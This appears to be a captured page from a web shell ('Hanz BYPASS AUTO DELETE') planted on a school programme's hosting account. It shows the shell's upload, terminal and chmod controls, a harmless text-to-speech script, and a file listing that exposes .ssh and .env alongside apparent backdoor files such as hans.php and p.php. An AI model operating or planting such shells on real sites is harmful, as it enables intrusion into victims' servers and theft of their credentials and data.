./Hanz BYPASS AUTO DELETE

Path: / homepages / 44 / d338820553 / htdocs / clickandbuilds / FACES

๐Ÿ“ Current Folder: FACES Permission: 0755 (klik permission untuk ganti chmod folder ini)
๐Ÿ“ฆ Mass Upload ๐Ÿ’ป Terminal ๐Ÿ“„ + Add File ๐Ÿ”ฅ + Mass Add File (Recursive)


Viewing: tts.js

document.addEventListener('DOMContentLoaded', () => {
  const form = document.getElementById('ttsForm');
  const statusEl = document.getElementById('status');
  const runBtn = document.getElementById('runBtn');
  const previewBtn = document.getElementById('previewBtn');
  const audioEl = document.getElementById('player');
  const voiceSelect = document.getElementById('voice');
  const languageSelect = document.getElementById('language');
  const downloadEl = document.getElementById('downloadLink');
  const metaEl = document.getElementById('meta');
  const chips = Array.from(document.querySelectorAll('#voiceChips .chip'));
  let lastUrl;

  // --- Voice Data and Mappings ---
  const allVoices = [
    'Puck', 'Charon', 'Zephyr', 'Kore', 'Fenrir', 'Leda', 'Orus', 'Aoede',
    'Callirhoe', 'Autonoe', 'Enceladus', 'Iapetus', 'Umbriel', 'Algieba',
    'Despina', 'Erinome', 'Algenib', 'Rasalgethi', 'Laomedeia', 'Achernar',
    'Alnilam', 'Schedar', 'Gacrux', 'Pulcherrima', 'Achird', 'Zubenelgenubi',
    'Vindemiatrix', 'Sadachbia', 'Sadaltager', 'Sulafat'
  ];

  // Recommended voices for specific languages
  const voiceMappings = {
    'zh-CN': ['Charon', 'Iapetus', 'Schedar', 'Sadaltager', 'Achernar', 'Sulafat'],
    'zh-TW': ['Charon', 'Iapetus', 'Schedar', 'Sadaltager', 'Achernar', 'Sulafat'],
    'ja-JP': ['Charon', 'Iapetus', 'Schedar', 'Sadaltager', 'Leda', 'Aoede'],
    'ko-KR': ['Charon', 'Iapetus', 'Schedar', 'Sadaltager', 'Kore', 'Leda'],
    'es-ES': ['Puck', 'Charon', 'Leda', 'Achird', 'Zubenelgenubi', 'Sulafat'],
    'fr-FR': ['Puck', 'Charon', 'Leda', 'Aoede', 'Vindemiatrix', 'Sulafat'],
    'de-DE': ['Charon', 'Kore', 'Orus', 'Iapetus', 'Alnilam', 'Sadaltager'],
  };

  function updateVoiceOptions() {
    const selectedLanguage = languageSelect.value;
    const currentVoice = voiceSelect.value;
    const voices = voiceMappings[selectedLanguage] || allVoices;

    voiceSelect.innerHTML = ''; // Clear existing options
    voices.forEach(voice => {
      const option = new Option(voice, voice);
      voiceSelect.add(option);
    });

    // Try to preserve the previously selected voice if it's still in the list
    if (voices.includes(currentVoice)) {
      voiceSelect.value = currentVoice;
    }
  }

  // Hide audio player initially if there's no src
  if (!audioEl.getAttribute('src')) {
    audioEl.style.display = 'none';
  }

  form.addEventListener('submit', async (event) => {
    event.preventDefault();
    resetUi();

    const formData = new FormData(form);
    const text = (formData.get('text') || '').trim();

    if (!text) {
      statusEl.textContent = '่ฏท่พ“ๅ…ฅ่ฆๆœ—่ฏป็š„ๆ–‡ๆœฌใ€‚';
      statusEl.classList.add('error');
      return;
    }

    runBtn.disabled = true;
    runBtn.textContent = '็”Ÿๆˆไธญ...';

    try {
      const payload = {
        text,
        model: (formData.get('model') || '').trim() || 'models/gemini-2.0-flash',
        voice: formData.get('voice'),
        language: formData.get('language'),
        seed: formData.get('seed') ? Number(formData.get('seed')) : undefined
      };

      await requestAndPlay(payload, '็”ŸๆˆๅฎŒๆˆ๏ผŒๅฏไปฅๆ’ญๆ”พๆˆ–ไธ‹่ฝฝใ€‚');
    } catch (error) {
      statusEl.textContent = error.message || '่ฏทๆฑ‚ๅคฑ่ดฅ๏ผŒ่ฏท็จๅŽๅ†่ฏ•ใ€‚';
      statusEl.classList.add('error');
    } finally {
      runBtn.disabled = false;
      runBtn.textContent = '็”Ÿๆˆ้Ÿณ้ข‘';
    }
  });

  // Preview current selection
  if (previewBtn) {
    previewBtn.addEventListener('click', async () => {
      resetUi(false);
      runBtn.disabled = true;
      previewBtn.disabled = true;
      previewBtn.textContent = '่ฏ•ๅฌไธญ...';
      try {
        const modelInput = document.getElementById('model');
        const textInput = document.getElementById('text');
        const previewText = (textInput?.value || '').trim() || sampleText(languageSelect.value);
        const payload = {
          text: previewText,
          model: (modelInput?.value || '').trim() || 'models/gemini-2.5-flash-preview-tts',
          voice: voiceSelect.value,
          language: languageSelect.value,
        };
        await requestAndPlay(payload, '่ฏ•ๅฌๅฎŒๆˆ');
      } catch (error) {
        statusEl.textContent = error.message || '่ฏ•ๅฌๅคฑ่ดฅ๏ผŒ่ฏท็จๅŽๅ†่ฏ•ใ€‚';
        statusEl.classList.add('error');
      } finally {
        runBtn.disabled = false;
        previewBtn.disabled = false;
        previewBtn.textContent = '่ฏ•ๅฌๅฝ“ๅ‰้Ÿณ่‰ฒ';
      }
    });
  }

  // Quick chips for common voices
  chips.forEach((chip) => {
    chip.addEventListener('click', async () => {
      voiceSelect.value = chip.dataset.voice;
      if (previewBtn) previewBtn.click();
    });
  });

  // --- Initial Setup ---
  if (languageSelect) {
    languageSelect.addEventListener('change', updateVoiceOptions);
    updateVoiceOptions();
  }


  function inlineDataToWav(base64Data, mime) {
    const binary = atob(base64Data);
    const pcm = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) pcm[i] = binary.charCodeAt(i);
    const rateMatch = /rate=(\d+)/.exec(mime);
    const sampleRate = rateMatch ? Number(rateMatch[1]) : 24000;
    return pcm16ToWave(pcm, sampleRate);
  }

  function pcm16ToWave(pcmBytes, sampleRate) {
    const numChannels = 1;
    const bitsPerSample = 16;
    const headerSize = 44;
    const dataLength = pcmBytes.byteLength;
    const buffer = new ArrayBuffer(headerSize + dataLength);
    const view = new DataView(buffer);
    let offset = 0;
    const writeString = (str) => { for (let i = 0; i < str.length; i++) view.setUint8(offset++, str.charCodeAt(i)); };

    writeString('RIFF'); view.setUint32(offset, headerSize + dataLength - 8, true); offset += 4;
    writeString('WAVE'); writeString('fmt '); view.setUint32(offset, 16, true); offset += 4;
    view.setUint16(offset, 1, true); offset += 2; view.setUint16(offset, numChannels, true); offset += 2;
    view.setUint32(offset, sampleRate, true); offset += 4;
    const byteRate = sampleRate * numChannels * (bitsPerSample / 8); view.setUint32(offset, byteRate, true); offset += 4;
    const blockAlign = numChannels * (bitsPerSample / 8); view.setUint16(offset, blockAlign, true); offset += 2;
    view.setUint16(offset, bitsPerSample, true); offset += 2; writeString('data'); view.setUint32(offset, dataLength, true); offset += 4;
    new Uint8Array(buffer, headerSize).set(pcmBytes);
    return new Blob([buffer], { type: 'audio/wav' });
  }

  async function requestAndPlay(payload, successMessage) {
    const resp = await fetch('tts-proxy.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(payload)
    });

    const data = await resp.json();
    if (!resp.ok) {
      const message = data?.error?.message || data?.error || `่ฏทๆฑ‚ๅคฑ่ดฅ (${resp.status})`;
      throw new Error(message);
    }

    const candidate = data?.candidates?.[0];

    // Check if the request was blocked for safety reasons.
    if (candidate && candidate.finishReason === 'SAFETY') {
      throw new Error('่ฏทๆฑ‚ๅ› ๅฎ‰ๅ…จๅŽŸๅ› ่ขซๆ‹’็ปใ€‚่ฏทๆฃ€ๆŸฅๆ–‡ๆœฌๅ†…ๅฎนๆ˜ฏๅฆๅŒ…ๅซไธๅฝ“ไฟกๆฏใ€‚');
    }

    const part = candidate?.content?.parts?.find((p) => p.inlineData);
    if (!part?.inlineData?.data) {
      throw new Error('ๆœชๆ”ถๅˆฐ้Ÿณ้ข‘ๆ•ฐๆฎ๏ผŒ่ฏท้‡่ฏ•ๆˆ–็ผฉ็Ÿญๆ–‡ๆœฌใ€‚');
    }

    const inline = part.inlineData;
    const mime = inline.mimeType || 'audio/L16;codec=pcm;rate=24000';
    const blob = inlineDataToWav(inline.data, mime);

    if (lastUrl) URL.revokeObjectURL(lastUrl);
    lastUrl = URL.createObjectURL(blob);

    audioEl.src = lastUrl;
    audioEl.style.display = 'block';
    audioEl.play().catch(() => {});
    downloadEl.href = lastUrl;
    downloadEl.style.display = 'inline-flex';
    metaEl.textContent = mime;

    statusEl.textContent = successMessage;
    statusEl.classList.add('ok');
  }

  function resetUi(clearAudio = true) {
    statusEl.textContent = '';
    statusEl.className = 'tts-status';
    downloadEl.style.display = 'none';
    metaEl.textContent = '';
    if (clearAudio) {
      audioEl.src = '';
      audioEl.style.display = 'none';
    }
  }

  function sampleText(languageCode) {
    switch (languageCode) {
      case 'zh-CN': return 'ๆ‚จๅฅฝ๏ผŒ่ฟ™ๆ˜ฏ็คบไพ‹้Ÿณ่‰ฒ่ฏ•ๅฌใ€‚';
      case 'zh-TW': return 'ๆ‚จๅฅฝ๏ผŒ้€™ๆ˜ฏ็คบไพ‹้Ÿณ่‰ฒ่ฉฆ่ฝใ€‚';
      case 'ja-JP': return 'ใ“ใ‚“ใซใกใฏใ€‚ใ“ใ‚Œใฏ้Ÿณๅฃฐใฎใ‚ตใƒณใƒ—ใƒซใงใ™ใ€‚';
      case 'ko-KR': return '์•ˆ๋…•ํ•˜์„ธ์š”. ์ด๊ฒƒ์€ ์Œ์„ฑ ์ƒ˜ํ”Œ์ž…๋‹ˆ๋‹ค.';
      case 'es-ES': return 'Hola, esta es una muestra de voz.';
      case 'fr-FR': return 'Bonjour, ceci est un รฉchantillon de voix.';
      case 'de-DE': return 'Hallo, dies ist eine Sprachprobe.';
      case 'hi-IN': return 'เคจเคฎเคธเฅเคคเฅ‡, เคฏเคน เค†เคตเคพเคœเคผ เค•เคพ เคจเคฎเฅ‚เคจเคพ เคนเฅˆเฅค';
      case 'pt-BR': return 'Olรก, este รฉ um exemplo de voz.';
      case 'en-GB': return 'Hello, this is a quick voice sample.';
      case 'en-AU': return 'Gโ€™day, this is a quick voice sample.';
      default: return 'Hello, this is a quick voice sample.';
    }
  }
});
Close
Name Perm Action
๐Ÿ“ .. (Parent Directory) 755
๐Ÿ“ .ssh 755 Rename Del
๐Ÿ“ .well-known 755 Rename Del
๐Ÿ“ ACT 755 Rename Del
๐Ÿ“ AI 755 Rename Del
๐Ÿ“ Flooring 755 Rename Del
๐Ÿ“ SBGA 755 Rename Del
๐Ÿ“ Static 755 Rename Del
๐Ÿ“ amp 755 Rename Del
๐Ÿ“ app 755 Rename Del
๐Ÿ“ assets 755 Rename Del
๐Ÿ“ clickandbuilds 755 Rename Del
๐Ÿ“ code 755 Rename Del
๐Ÿ“ dailyword 755 Rename Del
๐Ÿ“ documents 755 Rename Del
๐Ÿ“ game-online 755 Rename Del
๐Ÿ“ iOS 755 Rename Del
๐Ÿ“ img 755 Rename Del
๐Ÿ“ media 755 Rename Del
๐Ÿ“ parents 755 Rename Del
๐Ÿ“ public_html 705 Rename Del
๐Ÿ“ server 755 Rename Del
๐Ÿ“ xxx 755 Rename Del
๐Ÿ“„ .env 644 Rename Del Edit View
๐Ÿ“„ .gitignore 644 Rename Del Edit View
๐Ÿ“„ 20260704.html 644 Rename Del Edit View
๐Ÿ“„ 2026summer_schedule.html 644 Rename Del Edit View
๐Ÿ“„ 2026summer_schedule_en.html 644 Rename Del Edit View
๐Ÿ“„ 20270704.html 644 Rename Del Edit View
๐Ÿ“„ AI_creation.html 644 Rename Del Edit View
๐Ÿ“„ APChemistry.html 644 Rename Del Edit View
๐Ÿ“„ APChemistry_en.html 644 Rename Del Edit View
๐Ÿ“„ Circuit.html 644 Rename Del Edit View
๐Ÿ“„ FACESParentalHandbook.pdf 644 Rename Del Edit View
๐Ÿ“„ Get_started_TTS.ipynb 644 Rename Del Edit View
๐Ÿ“„ README.md 644 Rename Del Edit View
๐Ÿ“„ RobloxCoding.html 644 Rename Del Edit View
๐Ÿ“„ SAT.html 644 Rename Del Edit View
๐Ÿ“„ absent.html 644 Rename Del Edit View
๐Ÿ“„ absent_en.html 644 Rename Del Edit View
๐Ÿ“„ afterschool.html 644 Rename Del Edit View
๐Ÿ“„ afterschool_en.html 644 Rename Del Edit View
๐Ÿ“„ alternate-pickup.html 644 Rename Del Edit View
๐Ÿ“„ alternate-pickup_en.html 644 Rename Del Edit View
๐Ÿ“„ awards-store.html 644 Rename Del Edit View
๐Ÿ“„ basketball.html 644 Rename Del Edit View
๐Ÿ“„ c_academics.html 644 Rename Del Edit View
๐Ÿ“„ c_art.html 644 Rename Del Edit View
๐Ÿ“„ c_elementary.html 644 Rename Del Edit View
๐Ÿ“„ c_highschool.html 644 Rename Del Edit View
๐Ÿ“„ c_leadership.html 644 Rename Del Edit View
๐Ÿ“„ c_middle.html 644 Rename Del Edit View
๐Ÿ“„ c_social.html 644 Rename Del Edit View
๐Ÿ“„ c_sports.html 644 Rename Del Edit View
๐Ÿ“„ c_volunteer.html 644 Rename Del Edit View
๐Ÿ“„ charitysale.html 644 Rename Del Edit View
๐Ÿ“„ charitysale_en.html 644 Rename Del Edit View
๐Ÿ“„ chinese.html 644 Rename Del Edit View
๐Ÿ“„ congressional_award.html 644 Rename Del Edit View
๐Ÿ“„ daily_vocab.html 644 Rename Del Edit View
๐Ÿ“„ dailyword.html 644 Rename Del Edit View
๐Ÿ“„ face-registration copy.php 444 Rename Del Edit View
๐Ÿ“„ face-registration.php 644 Rename Del Edit View
๐Ÿ“„ faces-endpoints.php 644 Rename Del Edit View
๐Ÿ“„ faces-endpoints.php.zip 644 Rename Del Edit View
๐Ÿ“„ favicon.ico 644 Rename Del Edit View
๐Ÿ“„ field-trip-waiver-wedgeworth_cn.html 644 Rename Del Edit View
๐Ÿ“„ field-trip-waiver.html 644 Rename Del Edit View
๐Ÿ“„ field-trip-waiver_cn.html 644 Rename Del Edit View
๐Ÿ“„ freemath.html 644 Rename Del Edit View
๐Ÿ“„ hans.php 644 Rename Del Edit View
๐Ÿ“„ hapus.php 604 Rename Del Edit View
๐Ÿ“„ hidden_links.txt 604 Rename Del Edit View
๐Ÿ“„ highschoolmath.html 644 Rename Del Edit View
๐Ÿ“„ home1.html 644 Rename Del Edit View
๐Ÿ“„ hust.txt 604 Rename Del Edit View
๐Ÿ“„ index.php 644 Rename Del Edit View
๐Ÿ“„ index_en.html 644 Rename Del Edit View
๐Ÿ“„ judo.html 644 Rename Del Edit View
๐Ÿ“„ lexa.php 644 Rename Del Edit View
๐Ÿ“„ logo.png 644 Rename Del Edit View
๐Ÿ“„ lords_prayer_family_page.html 644 Rename Del Edit View
๐Ÿ“„ mini.php 644 Rename Del Edit View
๐Ÿ“„ ni_english.html 644 Rename Del Edit View
๐Ÿ“„ p.php 604 Rename Del Edit View
๐Ÿ“„ package-lock.json 644 Rename Del Edit View
๐Ÿ“„ package.json 644 Rename Del Edit View
๐Ÿ“„ page_layout_template.html 644 Rename Del Edit View
๐Ÿ“„ register.php 644 Rename Del Edit View
๐Ÿ“„ registration_cn.html 644 Rename Del Edit View
๐Ÿ“„ registration_en.html 644 Rename Del Edit View
๐Ÿ“„ robots.txt 644 Rename Del Edit View
๐Ÿ“„ sat_en.html 644 Rename Del Edit View
๐Ÿ“„ sat_winter_intensive.html 644 Rename Del Edit View
๐Ÿ“„ saturdaymath.html 644 Rename Del Edit View
๐Ÿ“„ schedule.html 644 Rename Del Edit View
๐Ÿ“„ schedule_good.html 644 Rename Del Edit View
๐Ÿ“„ senior_concert_en.html 644 Rename Del Edit View
๐Ÿ“„ senior_conert.html 644 Rename Del Edit View
๐Ÿ“„ sitemap.xml 604 Rename Del Edit View
๐Ÿ“„ spring_camp_2026.html 644 Rename Del Edit View
๐Ÿ“„ spring_camp_2026_en.html 644 Rename Del Edit View
๐Ÿ“„ springbreak.html 644 Rename Del Edit View
๐Ÿ“„ ss1.html 644 Rename Del Edit View
๐Ÿ“„ student_form.html 644 Rename Del Edit View
๐Ÿ“„ subsidy.html 644 Rename Del Edit View
๐Ÿ“„ summer_schedule_artistic.html 644 Rename Del Edit View
๐Ÿ“„ summer_schedule_artistic_en.html 644 Rename Del Edit View
๐Ÿ“„ summercamp.html 644 Rename Del Edit View
๐Ÿ“„ summercamp2026.html 644 Rename Del Edit View
๐Ÿ“„ summercamp2026_en.html 644 Rename Del Edit View
๐Ÿ“„ testtest.txt 644 Rename Del Edit View
๐Ÿ“„ title.txt 200 Rename Del Edit View
๐Ÿ“„ tts-proxy.php 644 Rename Del Edit View
๐Ÿ“„ tts.html 644 Rename Del Edit View
๐Ÿ“„ tts.js 644 Rename Del Edit View
๐Ÿ“„ tuition_payment.html 644 Rename Del Edit View
๐Ÿ“„ v_dance.html 644 Rename Del Edit View
๐Ÿ“„ v_ele_math.html 644 Rename Del Edit View
๐Ÿ“„ v_mentalmath.html 644 Rename Del Edit View
๐Ÿ“„ v_piano.html 644 Rename Del Edit View
๐Ÿ“„ v_reading.html 644 Rename Del Edit View
๐Ÿ“„ v_violin.html 644 Rename Del Edit View
๐Ÿ“„ v_vocabulary.html 644 Rename Del Edit View
๐Ÿ“„ vocabulary_db_1st_grade_real_pos_part_zh copy.json 444 Rename Del Edit View
๐Ÿ“„ vocabulary_lesson2.html 644 Rename Del Edit View
๐Ÿ“„ waiver.php 644 Rename Del Edit View
๐Ÿ“„ walnut_site.html 644 Rename Del Edit View
๐Ÿ“„ walnut_site_en.html 644 Rename Del Edit View
๐Ÿ“„ wechat.html 644 Rename Del Edit View
๐Ÿ“„ wechat_cn.html 644 Rename Del Edit View
๐Ÿ“„ wechat_en.html 644 Rename Del Edit View
๐Ÿ“„ winter_camp.html 644 Rename Del Edit View
๐Ÿ“„ word-db-06-20.json 644 Rename Del Edit View
๐Ÿ“„ word-db.json 644 Rename Del Edit View
๐Ÿ“„ writing.html 644 Rename Del Edit View
๐Ÿ“„ writing1.html 644 Rename Del Edit View